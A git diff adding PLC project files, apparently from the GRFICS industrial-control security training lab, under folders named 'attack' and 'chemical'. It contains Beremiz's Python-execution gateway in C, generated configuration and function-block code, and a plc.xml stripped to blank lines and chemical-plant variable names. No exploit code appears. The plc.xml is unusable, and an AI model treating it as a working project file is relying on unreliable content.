b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + 